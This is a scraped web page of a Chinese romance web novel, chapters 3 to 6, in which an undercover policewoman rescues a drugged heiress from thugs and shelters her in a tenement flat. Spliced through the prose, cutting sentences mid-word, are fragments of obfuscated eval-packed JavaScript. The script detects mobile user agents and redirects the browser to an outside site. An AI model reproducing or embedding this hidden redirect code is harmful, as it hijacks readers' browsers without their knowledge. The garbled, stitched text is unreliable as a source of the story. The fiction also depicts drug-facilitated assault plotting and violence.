l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353123|199647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她没好气地将裴薄妍弄到摩托车上坐好,想要先把人带到安全点的地方。 看看给大小姐喂点水,再洗洗脸,能不能恢复神志,联系上大小姐的家人。 原本沈雾是想直接拿裴薄妍的手机联络,但大小姐价值不菲的连衣裙连个口袋也没有,自然也没有能装手机的地方。 应该放在手包里。 可见了鬼,之前拿着的钻石手包也不见踪影。 看来两百多万的鳄鱼皮手包和二十元的没什么不同,丢了也就丢了,没办法自己找到主人。 裴薄妍压根坐不住,还是一个劲儿往她怀里倒。 手不老实地去勾她的脖子,想将人往下拉。 想要她的体温,或许还想继续咬她,嘴里还不清不楚地说: “别放开我。” 沈雾得将人揽着以免摔了,还得防着大小姐再给她来一口。 已经足够手忙脚乱的情况,偏偏有人火上浇油。 不远处有人喊:“哎哎哎,你谁啊,把人给老子放开。” 停车场的出口,走过来几个看着就像是混街头的烂仔,正目光不善地打量她们。 为首的光头光着膀子,胸前纹了只粗糙唬人的虎头,视线先是落在她怀里的裴家大小姐的身上,后又移到沈雾的脸上。见沈雾是个女人,光头全然没放在眼里,趾高气昂地朝她扬起下巴,满脸不耐烦。 “别在这碍事,不然女人老子也一样揍,弹开!” 他们几个是连个正经社团都没有的游街混混,收了钟少他们的钱,配合钟少来一场英雄救美的戏码。 本来说是在楼上将大小姐拖到楼梯间里,先吓唬一番,然后钟少出来跟他们打个配合将人救走。 结果一个没看住,人就跑没影了。 幸好人在停车场里找到了,不然还真没办法跟钟少交代。 “你确定要在和兴社的地盘上搞事?” 沈雾眼神很不好惹。 光头身旁的小弟们觉得沈雾不过是虚张声势,拿和兴社出来吓唬人。 Glow的确是和兴社的地盘,但钟家可是和兴社的高级VIP之一,钟少和裴大小姐的事情,和兴社才不会多管闲事。 一个个不但没当回事,还嘻嘻哈哈地笑了起来。 “怎么,拿和兴社吓唬我们啊?” “我们大哥可是安记赫赫有名的老虎哥,会怕和兴社?” “看你长得咁靓,不如跟了我们大哥,到时候要什么有什么。” 说着胡乱扭腰,形容极其猥琐,引来一阵恶心的附和笑声。 沈雾瞥了光头那群人一眼,漆黑的眼瞳泛着凉意。 将唯一的头盔扣到了裴薄妍的脑袋上,长腿一展,跨上摩托车,坐在裴薄妍前面。 腰上的银色链条抽了出来,缓缓在掌心缠了几圈,握紧。 被一言不发的沈雾盯着,仿佛有无形的压力在光头等人心上往下压。 见鬼,不过是个年轻女人,身上干净的连点儿疤痕都没有,怎么会让人有种心惊肉跳,仿佛被扼住喉咙的压迫感? 光头被沈雾淡然的态度弄得火冒三丈,啐一口。 “叼你老母,死贱货唔识个死字点写?!” 骂完让身后几个小弟去把沈雾给他带过来。 沈雾拉着裴薄妍的手,环住自己的腰。 “抱紧,别掉下去。” 不知道裴大小姐有没有听到,不过环在腰上的手没松开。 看她比自己大几岁,没想到还挺顺从自己。 下一秒,裴大小姐环着她腰的胳膊猛地收紧,抱到最紧。 沈雾:! 猝不及防,差点被勒岔气。 光头让手下过去把沈雾拽下车。 几米的距离,沈雾发动了车子将油门一轰到底,摩托像即将出闸的疯牛。 松开刹车的同时,摩托车直接弹射出去。 速度又快又猛,过来拦她的那几人本就是欺软怕硬的货色,吓得向后躲闪,嘴里不干不净地叫骂着,倒是谁也不敢真的去拦,将路给让了出来。 见此情形,光头气急败坏从后腰抽出一把砍刀,在沈雾的摩托车冲过来的时候狠狠朝她砍过去。 沈雾从容地压住车头往旁边一偏,躲过光头的砍刀时,缠在掌心的银色链条当空甩了出去,重重抽在光头的面中。 骨碎的声音和凄厉惨叫一起响彻停车场。 光头脸上一条红色血痕横贯整张脸,鼻梁断了,手都不敢捂,跪在地上撕心裂肺地哀嚎。 跟着他的几个小弟傻了眼,一时间不知道该去追人,还是该去看自家老大的伤情。 而此刻,杜卡迪红色的车尾灯划出漂亮的弧线,扬长而去。 4. 第 4 章 钟俊辉和POLO衫男人赶到停车场的时候,光头脸上的血还没止住,一个劲从指缝中往外冒。 听到裴薄妍被人带走,钟俊辉大发雷霆。 “这么点事都办不好,一群废物!” 光头疼得龇牙咧嘴,但还得给钟俊辉赔罪。 “钟少,那骑摩托车女的不知道从哪儿冒出来的,老子被她摆了一道。你放心,我一定把这个贱货找出来,给你个交代!” 钟俊辉听到这话气到发笑,“你找?你去哪里找?” 这么久时间过去,人早跑没影了。 那药起效快,退得也快,没有第一时间把裴薄妍抓住,就等于前功尽弃。 他脸色极其难看,打理的一丝不苟的头发也乱了几绺,耷拉在眼前。 他怕的不是白做工。如果得手了,后续都好操作。 怕的是现在这种情况,没得手,裴家调查之后知道这事是他做的,后果不是他能承受得起的。 发了好一通火,把光头一群人骂了个狗血淋头。 撒完气,钟俊辉扭头看向POLO衫男人说:“周少,主意是你出的,现在裴薄妍跑了,今晚这事儿裴家人一旦知道了肯定不会善罢甘休。” 被叫做周少的POLO衫男人是周家四房的私生子,周志豪。 周家也被港岛媒体列在四大家族里,前两年这周志豪刚刚被认祖归宗,是钟俊辉的狐朋狗友之一。 之前周志豪在某场拍卖会上跟裴薄妍产生了点摩擦,本来他想趁机纠缠裴薄妍,无论这件事闹成什么样,周志豪也算是和她的名字勾在一起,能在港岛刷一刷存在感。 最是看不惯裴薄妍那谁也不能近身的清高模样,越是不让任何人攀上她,周志豪就越想和她惹点事出来。 偏偏裴薄妍都没有正眼看他。 小小的摩擦根本入不了她的眼,直接走了,连纠缠的机会都没给。 周志豪永远记得裴薄妍冷若冰霜的背影。 一言不发,却能将人彻底踩在脚下。 难怪都说她是港岛第一千金,裴薄妍就是朵花心向天,谁也攀折不了的高岭之花。 周志豪一口气憋到今天。 他一直在找机会给裴薄妍一点教训。 让这个女人知道,他周志豪不是她能半点不放在心上的小角色。 原本这次机会很好,可惜了…… 浪费了他费劲搞来的日本货。 “怕什么。” 周志豪拍拍钟俊辉的肩膀安抚他。 “最紧要的先处理干净我们的痕迹,死无对证,裴家也奈何不了我们。” 他目光掠向一旁捂着鼻子咒骂要找到那个女人给她好看的几个小地痞。 钟俊辉也心领神会,看向光头几人,警告: “立刻离开港岛,短期内不准再回来。” - 摩托车呼啸疾驰,车轮碾过泛着水光的路面,碾碎一地斑斓绚丽的霓虹。 沈雾一路骑出去十多公里,过了隧道,确认没有被人跟踪,将车头一转,上了告士打道。 在一片老旧住宅区的路边缓缓放慢速度,停车。 刚停稳,大小姐就嫌头盔憋闷,用力一推,崭新的头盔摔在地上,挡风镜被石子砸穿,摔出几道裂痕。 沈雾一只脚支着地面,顾不上滚到路边的头盔,抓住裴薄妍正在往她衣摆里探的手。 “裴小姐,你再这样我真的要告你骚扰。” 裴大小姐的手和她本人一样,漂亮又精致,触感极其细腻柔软,精油护理过的指甲泛着天然的肉粉色,饱满莹润。 食指的指根嵌着蛇形的钻戒,钻石的火彩即便在幽暗的路灯下依旧璀璨耀眼。 一路上,沈雾不知道将这只手挪回腰间多少次。 也说了无数次让裴薄妍老实点。 甚至威胁她再乱摸就把她丢到路边。 显然裴大小姐平日里就不是个会配合谁的性子,此刻还神智不清,所有的行为都是依着本能。 无论沈雾怎么说,这双手都肆无忌惮地在沈雾的身上不停摸索,想要汲取更多的慰藉和愉悦感。 同神志不清的她讲道理,如同对牛弹琴。 裴薄妍被抓着手腕,挣扎了几下挣扎不开,大小姐脾气上来了,整个人蛮横地贴上面前的人,将脸埋进对方的发丝里。 沈雾之前洗过澡,身上是用的是市售的洗发水和沐浴乳,和裴薄妍平日里闻惯了的各种奢牌特调过的香气不同。 普通又廉价的工业感,在这个人身上变得清新好闻。 像裴家的佣人从有机超市买回来的澳洲柑。 裴薄妍记得那种柑橘的果皮很薄,很容易剥开。 但身前的这个人好难搞,一点也不配合。 人类的欲望总是带有某种共性,食欲和某些情念也没什么不同。 裴薄妍本不爱吃橘子这类水果,但那款澳洲柑的果肉细腻饱满,汁水多又清甜。记忆里的味道勾起强烈的食欲,令她分不清到底是渴念柑橘酸甜的汁水润喉,还是面前这个人。 完全没和谁这么亲热过的沈雾被她蹭得浑身发燥,后背都起了一层汗。 不能这样下去。 锁了车,将人半拖半抱带上了楼。 这栋楼是沈雾在港岛的住处,极具港岛特色的唐楼,也是云龙混杂的贫民窟。 逼仄幽暗的楼梯,乱七八糟的住客,带有上世纪风格的外墙,年久失修,破破烂烂。 这里无论是哪一处,都和大小姐一身奢华昂贵的高定格格不入。 裴薄妍出现在这里,像天鹅误入泥潭。 若不是裴大小姐不肯去医院,沈雾也不会选择带她回来。 在大小姐又一次差点撞上发霉墙皮的时候,沈雾及时抬手挡住,没让裴薄妍娇嫩白皙的皮肤蹭到脏污。 倒是她自己手上已经止血的伤口又崩裂了。 裴大小姐却恩将仇报,她开个门的工夫,身上的背心都快被扯烂,险些走光。 “裴小姐,就算你不舒服,也不能对我性骚扰。” 沈雾一把抓住裴薄妍的手,咬着牙低低吼了她一嗓子。 奈何压根吼不出裴薄妍的理智,反倒越发激起她的大小姐脾气。 从小到大,任何东西,只要她想要,就会有人排着队的奉上来。 从来没人敢对她大小声。 连裴振生都没有吼过她。 裴薄妍脾气上来,又被药物弄得神志不清,满腔的渴望。 双手用力挣脱了沈雾的桎梏,直接抱住沈雾的脖子,带着热度的唇不管不顾地贴了上去。 力道之大,带着沈雾一起撞到门上。 两人身高差了几公分,裴薄妍的唇一开始印在了沈雾的下巴上,硬是踮起穿着高跟鞋的足尖,将这点落差补齐。 四唇相贴的瞬间,柔软火热的触觉让沈雾的气息一紧,冷峻的眉眼被错愕的情绪破开,耳根急速染红。 这可是她的初吻! 裴薄妍被堵住的心口找到了宣泄处,只是没什么经验,凭本能去舔舐啃咬,放肆地汲取愉悦,身体紧紧贴住面前的人,野蛮地蹭着。 单薄的衣料下,两个人的心跳在同一时间骤然加速。 温热绵长的鼻息,柔软滚烫的唇舌,以及裴薄妍身上独特的馨香,令沈雾神思变得一片空白。 只是亲吻仍旧不够,不够缓解裴薄妍心头炙热燃烧的欲望。 衣服好碍事,想要更多的欢愉。 衣料的裂帛声和唇角传来火辣辣的痛楚,才让沈雾从被人强吻的震惊中回神。 捏住裴薄妍的脸颊和手腕,阻止她继续胡作非为。 “你给我清醒一点。” 裴薄妍依旧昏沉,那张本该清冷的脸上浮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可惜,蜜桃味已经散去,闻不出来了。 散得很快,这个特点也和那款新型药的特性吻合。 下巴被眼前这个比自己小几岁的女人捏在手里,无力的脑袋也被她随意轻转着,裴薄妍没被人这么无礼的对待过,加上药物的残留让她反应迟钝,愣住一秒后才冷冰冰开口,瞪向沈雾,眼神不善语气强硬。 “放开。” 沈雾也没放,火辣辣的唇角提示她前车之鉴,怕一放手属狗的大小姐再给她来上一口。 “还记得自己叫什么吗?吃了什么不干净的东西?” 裴薄妍本来就晕,被沈雾牵制的羞耻感,气得她眼尾浮起一抹红。 “放手,不然我杀了你。” 凶得很,是真的清醒了。 沈雾轻眯起眼睛,语调慢条斯理,但说出来的话很气人。 “怎么杀?用嘴咬死我?” 被人一顿强吻又发出死亡威胁,菩萨都得攒出点火气,何况沈雾还算不上菩萨。 可真跟一个被下药的人计较,也属实欺负人。 裴薄妍原本苍白的脸红了,听到她的话想起自己之前对这陌生人女人做的事,眼睫颤动。 被气的。 没力气骂人,只能再射过去几记眼刀。 沈雾见好就收,松开手,将毛巾丢进池子里。 卫生间顶灯惨白的光落下来,没了刚刚十万火急的紧迫感,看到裴大小姐白皙柔美的脸上浮着两枚浅浅的指痕。 千金大小姐的皮肤真够娇嫩的。 明明没用力,这就在她身上留下痕迹了。 5. 第 5 章 裴薄妍身上那条原本优雅的红色连衣裙,领口因为刚刚自己的撕扯裂开,露出大片肌肤,锁骨的曲线和一根不知挂着什么吊坠细绳,随着她的呼吸起起伏伏。 冷调的白和极艳的红,对比太过强烈。 沈雾自觉将视线转开,冷淡地说:“自己能站稳吗?还是要我扶你先出去?” 裴薄妍的呼吸因为药劲未散尽,仍有些急促,浑身上下酥软无力,半坐在陶瓷的洗手台上,靠着身后的墙壁来维持平衡。 她极少有这种狼狈的时刻,更别说这种狼狈还被人看到,睨了沈雾一眼,“你出去。” 我家,你让我出去。 沈雾被气笑了,大小姐果然习惯命令的语气。 算了,不跟病人计较。 沈雾懒得搭理她,出了卫生间。 一通兵荒马乱之后,伤口才后知后觉又开始痛。 先扯了一截纸巾缠在伤口上,又去翻医药箱,给自己包个扎。 等会大小姐缓过来了,再看看给她送哪儿去,反正不能待在这里。 顺便对着手机前置摄像头照了照。 唇角果然被咬破,鲜红的伤口,和脖子上的咬痕倒是挺配套。 裴大小姐比流氓下手重。 沈雾无言以对闭上眼。 她今晚是注定有血光之灾。 不想去回忆刚刚的画面,沈雾打开厨房的柜子,拿了罐有镇定安神作用的甘菊茶,倒了些在杯子里,再烧壶水,等水开。 卫生间里,裴薄妍意识是恢复了,可自深处迸发的热意仍旧汹涌。 看见池子里的冰块,捧了一把,用毛巾裹着给自己降温。 刺骨的冷让她得以喘息的同时思绪回笼。 她在Glow是没有会员,但她的VIP待遇是最高等级,所以她才会为了图清静,助理和保镖一个都没带,直接过去看珠宝展。 能在Glow,还是在人不多的休息室里,神不知鬼不觉给她下药,对方有些手段。 裴薄妍脑海中立刻闪过一张令她恶心的脸。 钟俊辉的可能性最大。 她胸口剧烈起伏了一下,随即立刻压制下来。 不管是不是,查过自然会知道。 感觉自己能站稳了,裴薄妍扶着墙壁站直,视线扫过容纳一个人都显得逼仄的卫生间。 白色的瓷砖上有不少裂纹,还有几块缺角甚至干脆脱落。 破旧的像是老港岛鬼片里的凶宅。 淋浴头似乎是后来更换的,和原本的五金不配套。 马桶是可怕的紫红色,却有个白色的马桶盖,十分诡异的审美,叫她脆弱的神经不由地跳了跳。 这是那女人的家? 想到那人字正腔圆的北方口音,应该不是港岛本地人。 港岛没几个人不认识裴薄妍,撞见她被人下药,就算不通知裴家人要钱,也会把她卖给港岛各个媒体狗仔,换一笔钱花。 这么一想,那女人态度恶劣归恶劣,算个本分人。 冰块化了些,毛巾被弄得湿哒哒的。 裴薄妍将毛巾里的冰块抖落出去,拧干的时候手心被磨得有些疼,才发现这毛巾材质硬邦邦,做工也很差。 她出生到现在,没用过这么品质这么糟糕的东西。 眼下没得挑,只能忍忍。 重新裹了冰块,裴薄妍扶着墙壁走到卫生间门口,朝沈雾的方向望。 女人中长的头发散在背后,手臂上缠着一圈纱布,殷红的血色隐约透了出来。 受伤了? 裴薄妍往前迈了半步,完全没想过卫生间能有个小台阶,一下踏空,腿上没什么力气,差点儿摔了。 “小心。” 沈雾转过身,走了过来。 裴薄妍以为她是过来扶自己的,目光落在对方的脸上,细细打量。 很冷的一张脸,鼻挺唇薄,连唇色都是偏冷的淡色,但窄薄开扇的眼皮下的眼瞳很黑,像浓的化不开的墨,懒怠里藏着点薄薄的锋利。 裴薄妍想起来了,之前就觉得她面熟,和记忆里的那张脸有六七分的相似。 立刻去摸胸前,衣料下面的无事牌还在,幸好没在混乱中丢失。 人到了面前,再去看五官,五官虽然很像,气质却很不同。 眼前这人从发型到气质完全是个飞女。 不会是她。 裴薄妍道谢的话都已经浮到嘴边了,下一秒,这人竟然将她面前的全身镜搬到另一边。 “别打碎我镜子。” 沈雾语气淡淡。 这房子是容姐暂时给她住的,镜子也是容姐的,弄碎了还得花钱赔。 裴薄妍一口气梗住了,气到想笑。 怎么?她还没这面破镜子值钱? 裴薄妍:“我认得你。” 沈雾背对着她,听到她的话神色微僵,调整好表情才转身。 裴薄妍:“在Glow门前吹口哨的飞女。” 沈雾:…… 还以为她去过大陆,在大陆见过自己,察觉到了卧底身份。 原来是想起那声口哨。 白紧张了。 沈雾:“你回头去医院检查的时候,要不要顺便看看五官科?你女的,我也是,我干嘛要对你吹口哨?” 言下之意,对她不感兴趣。 裴薄妍没谈过恋爱,但追她的人男的女的都有,身为裴家千金,走到哪儿都是让她心烦的搭讪。 这飞女,白长一张和那个人相似的脸,性格差得很。 感觉到脸上有些痒,裴薄妍抬手摸了摸,有些细碎的绒线。 这劣质毛巾还掉毛。 “你拿什么东西擦我的脸?” 沈雾看了眼大小姐手里抓着的毛巾,理所当然地回道:“楼下财记士多买的毛巾,十蚊三条,物美价廉。” 裴薄妍:…… 她用的厕纸都没这么便宜。 “掉毛,我会过敏。”裴薄妍语气平淡又理所当然地吩咐,“换一条。” 手感差她能忍忍,但掉毛不行,会起疹子。 她后天还要出席一个颁奖典礼,皮肤状态很重要。 沈雾站到她面前,微笑着提醒大小姐。 “我家只有这种,同一家店买的同一个牌子,就算换一条也一样掉毛。” 看到裴薄妍那双漂亮的眉毛轻轻蹙起,似乎在斟酌到底是舍弃毛巾还是忍耐过敏。 麻烦。 沈雾心里嫌弃了一句。 但想到几个钟头前,她刚看到裴薄妍的时候,那个精致到头发丝都挑不出一点瑕疵的女人,此刻红裙脏了,头发乱了,妆也花了。 落难千金很可怜。 心里生出些怜悯,还是拿过她手里毛巾,去卫生间里把毛巾投了两遍,对着一再灯光确认没有浮毛。 现在应该好点。 沈雾将重新裹了冰块的毛巾又递给裴薄妍。 “洗干净了。” 裴薄妍端详的目光落在沈雾脸上。 这人长着一张不耐烦的脸,态度也恶劣得要命,却意外的心软。 接过毛巾,贴到脖颈上,压制体内时不时涌上来残留的燥意和情念。 裴薄妍道了声谢:“不止是毛巾,还有今晚的事。” 她不太擅长欠人情,也极少同人道谢,语气没有多少谦和,只有浑然天成的矜傲。 沈雾帮她也不是图谢,装再久的小混混,骨子里还是警察,看到人落难忍不住想保护。 既然清醒了,后续的事情也该确认一下。 “是给你叫车回家,还是打电话让你家里人来接你?” 没提报警的事情,大小姐连医院都不肯去,显然是有声誉方面的顾虑。 沈雾当然也不想去医院,更别说和警察碰上。 知道她卧底身份的人极少,普通港警看到她恐怕只会把她带回局子调查。 裴薄妍没立即回答,目光扫过沈雾的居住空间。 这种老房子,港岛的时代烙印,她只在路过时从外面看过,踏足屋内空间还是第一次。 二十多年前的装修,处处透着陈旧。 掉皮沙发露出的海绵已经变成了焦黄色,玻璃茶几一只脚断了,用透明胶带黏了几圈固定,随时可能寿终正寝。 壁挂的电扇聊胜于无地转着,吹着散不透半点热度的风。 这房子比她家的玄关都要小。 裴薄妍视线扫过一圈后,又回到沈雾的脸上。 “这是你家?” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353125|199647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾:“你说不去医院,我只能先带你找个安全的地方。” 裴薄妍没说别的,自己的手机掉了,只能借用她的。 朝沈雾摊开手掌,“手机。” 沈雾把手机解锁后递过去,“我扶你过去坐着打。” 坐哪儿?沙发? 裴薄妍想象了一下,那张年龄可能比自己还大的沙发之中,可能蕴含多少看得见和看不见的生命。 “……不用了。” 她站在墙壁前,按了串号码拨出去。 接通后,助理Aimee已经急疯的声音从手机里漏了出来,听到是她,大大松一口气,问她人在哪儿,有没有事,安不安全。 “我在……” 一开口,发现不知道自己在哪儿,裴薄妍又把手机递给沈雾。 “地址。” 沈雾没接,就着裴薄妍递过来的姿势,对着手机话筒给对方描述唐楼的具体位置。 呼出来的气息扫到裴薄妍的手腕,有些潮热的痒。 裴薄妍不自然地躲了一下,被沈雾握住,望了她一眼。 像是在说“还没说完呢,躲什么”。 等Aimee记下地址后,沈雾才松开。 被握过的地方体温升高,裴薄妍不知道是不是体内残存的药物作祟,令她生出一丝陌生的渴望。 脑海中冷不丁浮现刚刚她吻住眼前这个女人的画面,那些混乱的肌肤相贴。 裴薄妍的视线扫过沈雾的唇。 不需要费力回忆,也记得她柔软的触感,吻进去时的热度。 以及咬破她唇面时,她倒吸一下,被改变节奏的沉沉呼吸。 腥甜的血味。 还有手掌抚摸她时留下身体的轮廓。 很紧致,练过的,身材好得有点过于火辣了。 裴薄妍呼吸有一瞬间的沉,电话里Aimee还说了什么,半个字都没进到耳朵里。 不自在地用冰毛巾蹭了蹭纤长的脖颈,硬生生将注意力从沈雾的身上转移。 【对了,我的手机还有手包都落在Glow了,你让人去找回来。】 裴薄妍在电话里吩咐,她的东西不能落在旁人的手里,就算要丢要换,也得先找回来。 【已经拿回来了。】 Aimee赶过去的时候没接到人,工作人员只给了她裴薄妍的手机和手包。 【我检查了一下,包里的东西没有少,手机的屏幕摔裂了,已经让人拿去更换,顺便检查有没有被人动手脚。】 裴薄妍“嗯”了声,表示自己知道了,确认了Aimee大概二十分钟内赶到。 挂了电话,将手机还给沈雾。 有了安全感,裴薄妍心绪松弛下来,目光落到沈雾的手臂上包扎好的伤,下巴轻轻扬了扬。 “怎么弄的?” 沈雾低头瞥了眼,“跟你没关系。” 说完了,觉得话有歧义,听起来怪挑衅的,又多解释半句。 “我是说,遇到你之前,酒吧里喝多的客人闹事弄的。” 裴薄妍目光在她眉眼细细打量,“你是内陆人?在Glow的酒吧上班?” 作为卧底,沈雾对于试探极其敏锐,何况裴大小姐的试探算不上隐蔽于高明。 沈雾的眼皮懒懒地掀起,目光沉沉地望向裴薄妍,忽地一笑。 “怎么,对我好奇?” 她这张脸生得极为出尘,柳叶眼冷冷望着人的时候压迫感极强,笑起来却如春雪消融,很是撩人。 裴薄妍竟感觉心跳有一瞬间的加速,刚刚冷下去的心头又莫名热起来。 面上不动声色。 “我总得知道,今晚救了我的人是什么来历。” 裴薄妍身上有药的线索,可沈雾卧底的身份实在太特殊,给同事提供今晚的信息让他们去查就好,应该很快就能查到药物的源头,不必和裴家大小姐牵扯过多。 还是那句话,不要和港岛豪门沾上关系,很容易节外生枝。 “今晚只是个意外。以后也不会见面,没必要知道。” 沈雾上身微微下压,语气里带着符合飞女身份刻意的轻佻。 “除非你想跟我再发生点什么。漂亮的姐姐主动送上门,脾气坏点我也不是那么介意。” 6. 第 6 章 看裴薄妍神色嫌恶,沈雾知道自己的目的达到了。 正要直起身,饱受摧残的背心肩带被裴薄妍一把揪住,扯了回来。 沈雾:“你……” 嫌恶的神色不见,裴薄妍那双清冷的眼里沁出笑意时,带着勾人的媚,手掌贴在沈雾紧致的腹部,暧昧地按压薄肌。 “没和女人试过。不过像你身材这么好的主动服侍,脾气坏点我也不是那么介意。” 沈雾没想到她会这么说,怔了怔,下一秒发现裴薄妍眼里的媚意变成了冷笑。 裴薄妍将她往后推了推。 “故意惹我生气,怕我知道你的底细?心虚?” 原来是不服气,耍人玩。 沈雾不自然地抿唇。 不得不承认,刚才真的被她迷惑得整个人软了一下。 裴薄妍性格要强,方方面面都不乐意落于人后。 从来没做过的挑逗行为也一样。 看沈雾刚才眼眸都散了,裴薄妍在心里冷嗤。 敢在陌生的私人地盘这么做,还有一个原因是她看人还是挺准的。 半个晚上相处下来,裴薄妍看得出来沈雾嘴硬心热。 要这女人真是个来者不拒,趁人之危的王八蛋,裴薄妍今晚会落到什么境地,无法想象,恐怕现在也无法整整齐齐站在这儿了。 刚才故意说轻浮的话,就是想裴薄妍讨厌她,断了继续接触的可能。 裴薄妍觉得她藏了些什么秘密。 不知道是不是跟Glow,跟今晚的事有关。 裴薄妍用警惕的眼神暗暗打量沈雾时,沈雾则在惋惜自己的背心。 这件背心是彻底不能要了,本来就质量堪忧,大小姐还跟它有仇一样,一晚上被大小姐扯了不知道多少回,彻底变形。 “我心虚什么?” 沈雾单手撑着墙,看着裴薄妍这张纯美无瑕的脸,眉骨向上抬了抬,好奇大小姐想干什么。 当卧底扮飞女扮久了,沈雾身上不可避免沾染了不少江湖气。 即便此刻脸上带着浅笑,也给人一种不好招惹的感觉。 裴薄妍没那么容易被她吓唬住,也有意试探,故意往她头上扣罪名。 “也许你是那群人的同伙,假装救我,然后跟裴家博取更多的好处。” 人在被冤枉的时候,往往会急于自证清白。 但这种招数对沈雾没用,不管大小姐打什么主意,她都没有陪玩的心思。 沈雾抓住裴薄妍揪她背心的手腕,在她腕骨的穴位上轻轻一捏。 裴薄妍立刻感觉到一阵酸软麻疼,被迫松开了手。 沈雾直起身的时候低头看了眼,背心变成深V,果然不能再穿。 大小姐力气不大,倒是能撕衣服,撕完自己的还要撕别人的。 沈雾不太自然地挡住胸口,没回答裴薄妍的问题,语气薄凉地撂下一句:“你家人一会儿就来接你了,老老实实待着。” 准备回卧室去换件衣服。 裴薄妍长这么大,就没被人这么冷淡对待过。 想拦住沈雾,但腿上没力气,才挪了一步,脚踝发软,打着晃往一旁摔。 眼看就要撞上一旁餐桌尖锐的桌角,裴薄妍没力气躲开,只能下意识闭起眼睛。 预想中的疼痛没有出现。 裴薄妍感觉到腰间横过一只手臂,将她横着抱起。 连衣裙的料子很薄,薄到裴薄妍清晰地感觉到沈雾的手掌贴在自己的腿弯处,很热。 导致她的体温也开始不受控制地攀升,连冰毛巾也无济于事。 裴薄妍有些难受的闷哼一声,刚刚扬起来的脾气也被冲散干净。 “磕哪儿了?” 听到裴薄妍闷哼的声音,沈雾以为她还是磕到了。 看到裴薄妍脸上的表情不似忍痛,反而有些艳色浮动,比她身上的裙子红得更甚。 “放我下来。”裴薄妍深吸一口气,忍耐着体内的躁动。 裴薄妍忍耐的表情在沈雾看来像是嫌弃。 刚刚卫生间里,大小姐就不喜欢跟她有肢体接触。 不让碰就不让碰,她也不想碰,保护她全然是下意识的反应。 真磕到桌子角,裴薄妍那身细瓷似的皮肤上怕是要留疤。 指不定会怎么跟她算账。 沈雾打算给她放沙发上去,免得她再乱折腾,真把自己伤到。 感知到沈雾的意图,裴薄妍顾不上难受,立刻紧紧搂住沈雾的脖子,语气紧绷。 “我不要坐沙发。” 裴薄妍这下勒得挺用力,沈雾脸又红了,这次是被憋的。 “不坐就不坐,你松开点……” 勒在脖子上的力度松了松,沈雾又能呼吸了。 她看向那张千疮百孔的沙发,这是容姐的家具,不知道有多大年纪了,确实不太像样。 “床行吗?”沈雾征询大小姐的意见,“床单我昨天刚换过,干净的。” 裴薄妍用眼神示意,让沈雾抱着她移驾到卧室。 行不行她得先看过。 沈雾:…… 使唤人还挺顺手。 顿时有种被当成狗训的感觉。 老房子不大,套一户型,客厅狭窄,卧室朝北,阴暗潮湿,是360度全死角的破房子。 原来的单人床沈雾才睡了两天就散架了,害她半夜在轰然塌床的巨震中惊醒,腰都闪了。 这张床是这间屋子里唯一的新家具。 “行吗?” 沈雾认真询问。 她可就这么一张床,要是还不行,她只能给大小姐送楼下便捷酒店了。 裴薄妍的视线在这张单人床上仔细扫过一遍后,勉强点了点头。 将人放下的时候,沈雾想起从前见过的一种极为娇贵又难养的兰花。 花盆得用深的紫砂盆,土要发酵的松鳞,浇水不能太多也不能少了,冬季要保温夏季怕晒伤,总之稍有不慎就死给人看。 裴薄妍像极了那株兰花,名贵也娇贵,也不知道谁能伺候得了。 床单是浅蓝色,很素净没有花纹,铺得板板正正。 就是床垫硬了点。 裴薄妍手压在床面上,在心里谨慎地评价。 居高临下,沈雾眼底涌入裴薄妍胸前那抹呼之欲出的雪白柔软,目光微滞,立刻转身,想出去,又退回来,从一旁的衣架上扯了件衣服递过去。 “披上。” 裴薄妍见她回避的目光,这才看到裙子的领口被撕扯坏了,堪堪被一丝线头勾着,耸拉着,勉强遮住春光,无事牌都差点掉出来。 抬头,眼底情绪微妙,带着控诉。 “不是我扯的。” 沈雾倍感冤枉,声调都升高了几分。 明明问心无愧,却硬是被裴大小姐的目光弄得生出两分心虚。 “我没说是你。”裴薄妍眼波轻轻扫过沈雾微红的脸,“急什么?” 这下不装浪荡/女了? 裴薄妍这么一说,沈雾解释什么都像是欲盖弥彰了。 唇面被咬的地方在发痒,她下意识地舔了一下,顿时变成火辣辣的疼。 沈雾轻“嘶”一声,“那你看我的眼神像看混蛋?” “我看谁都这样。” 裴薄妍心说,的确像个混蛋。 收了目光,套上沈雾递过来的衬衣。 不是什么名贵的牌子,胜在料子是纯棉的,还算亲肤。 沈雾拿裴大小姐没办法,心说忍忍,二十分钟后裴家人来了,她就清净了。 拿了件背心,准备出去换上,开门的时候被裴薄妍叫住。 沈雾回头,“又怎么了,大小姐?” 裴薄妍问她:“你去哪?” 陌生的环境里总有种令人不安的感觉,虽然不想承认,但沈雾是她目前唯一觉得安心的存在。 沈雾姿态散漫地靠着门,“混蛋出去待着,免得碍你眼。” 裴薄妍不想被她看穿自己的不安,“嗯”了一声,头偏向窗外,留给沈雾一个漂亮又冷淡的侧影。 看上去有几分孤傲,但抓着衬衫衣襟的指尖攥得太紧,泄露了痕迹。 沈雾目光落在她纤细白嫩的指尖,停留不过须臾,转身出去。 片刻后,手里端着个冒着热气的杯子回来,放到床头。 裴薄妍见她去而复返,问道: “这是什么?” 刚刚因为入口的东西吃了大亏,裴薄妍很难不谨慎。 “甘菊茶,有镇定安神的作用。” 沈雾倒了一小杯出来自己先喝,以证明没有任何问题。 